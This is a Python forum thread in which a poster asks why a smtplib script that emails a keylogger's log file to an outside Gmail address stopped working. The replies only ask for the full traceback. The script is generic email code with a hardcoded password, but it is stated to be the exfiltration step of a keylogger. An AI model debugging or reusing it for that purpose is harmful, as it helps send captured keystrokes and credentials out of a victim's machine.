Bottom Page

Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
 "Raise SMTPException("SMTP AUTH extension not supported by server.")
#1
Respected all,
I have written a code in python to send the keylogger log file to administrator, the said code working fine but after a day when I try to test in production the code raises an exception,
Need your response on urgent basis.
Thanks
Quote
#2
code?
Quote
#3
Code...The same code working fine yesterday but today without any change stop working

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

email_user = 'abc@gmail.com'
email_send = 'xyz@gmail.com'
subject ='Python'

msg =MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'Hi thre'
msg.attach(MIMEText(body,'plain'))

filename = 'logs.txt'
attachment = open(filename,'rb')

part =MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-disposition',"attachment,filename= "+filename)


msg.attach(part)
text= msg.as_string()

server = smtplib.SMTP('smtp.gmail.com',587)


server.starttls()
server.login(email_user,'qaz@wsx')
server.sendmail(email_user,email_send,text)
server.quit()
buran wrote Feb-15-2018, 08:56 AM:
Please, use proper tags when post code, traceback, output, etc. This time I have added tags for you.
See BBcode help for more info.

Please, post the entire traceback that you get. We need to see that whole thing. Do not just give us the last line.
Take a time to read What to include in a post
Quote
#4
What's the error? Are we expected to just guess?
What sort of machine does it run on in production? Is that machine set to automatically install updates? What's changed from when it worked to when it didn't?
Quote

Top Page

Possibly Related Threads...
Thread Author Replies Views Last Post
  raise exception within generator bermudj 1 200 May-24-2020, 04:58 PM
Last Post: buran
  SMTP problem MajK 6 179 May-09-2020, 07:47 AM
Last Post: MajK
  Sending an email with attachment without using SMTP? PythonNPC 5 316 May-05-2020, 07:58 AM
Last Post: PythonNPC
  can i raise an exception in a try clause? Skaperen 14 874 Dec-19-2019, 12:29 AM
Last Post: Skaperen
  Issue with text encoding ans smtplib.SMTP.sendmail() JustSomeUsername383 1 661 Jul-23-2019, 03:15 PM
Last Post: JustSomeUsername383
  Changing a traceback message without a 2nd raise Clunk_Head 1 357 Jul-14-2019, 12:45 AM
Last Post: Gribouillis
  PUT with Basic Auth and urllib2 rootVIII 0 594 Feb-22-2019, 11:25 PM
Last Post: rootVIII
  Passing basic auth data between views nikos 0 342 Feb-13-2019, 09:32 PM
Last Post: nikos
  google-auth requirements.txt strange behavior randalpinto 3 990 Dec-21-2018, 02:03 AM
Last Post: Larz60+
  python 'SMTP debugging server' not starting local error pcsailor 1 627 Nov-26-2018, 10:13 PM
Last Post: micseydel

Forum Jump:


Users browsing this thread: 1 Guest(s)